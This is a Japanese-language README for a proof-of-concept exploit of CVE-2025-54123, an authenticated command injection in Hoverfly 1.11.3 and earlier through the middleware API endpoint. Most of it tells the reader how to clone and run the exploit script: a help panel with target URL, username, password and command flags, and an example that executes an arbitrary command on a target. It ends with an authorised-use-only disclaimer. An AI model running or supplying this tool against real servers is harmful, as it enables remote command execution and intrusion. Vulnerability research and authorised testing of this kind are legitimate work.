
PoC CVE-2025-54123 - Hoverfly <= 1.11.3 - 認証済みミドルウェアコマンドインジェクション
PoC CVE-2025-54123 - Hoverfly におけるミドルウェアコマンドインジェクション
この脆弱性は Hoverfly バージョン ≤ 1.11.3 に影響し、特に /api/v2/hoverfly/middleware エンドポイントを標的とします。これは、middleware.go、local_middleware.go、hoverfly_service.go を含む複数のファイルにおける 不十分な入力検証とサニタイズ が原因です。script パラメータに提供されたユーザー制御の入力が、適切なチェックなしでシステムバイナリ(例: /bin/bash)に直接渡され、Hoverfly プロセスの権限で リモートコマンド実行 (RCE) を可能にします。
curlgit clone https://github.com/f4dee-backup/CVE-2025-54123
cd CVE-2025-54123
chmod +x CVE-2025-54123.sh
./CVE-2025-54123.sh -h
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗██╗ ██╗ ██╗██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ██╔════╝██║ ██║███║╚════██╗╚════██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗███████╗███████║╚██║ █████╔╝ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝╚════██║╚════██║ ██║██╔═══╝ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ███████║ ██║ ██║███████╗██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚══════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
Hoverfly <= 1.11.3 - Authenticated Middleware Command Injection
[?] Parameters description:
-t Target base URL (e.g., http://target:8888)
-u Valid username
-p Valid password
-c Command to execute (must be enclosed in double quotes)
-h Show this help panel
[i] Example:
./CVE-2025-54123.sh -t http://target.com:8888 -u admin -p password -c "id"
このエクスプロイトは、教育目的および許可されたセキュリティテスト目的のみ を意図しています。
明示的な許可なくシステムに対して使用 しないでください。無許可のアクセスは違法となる可能性があります。
作者は、誤用または引き起こされたいかなる損害についても 一切の責任を負いません。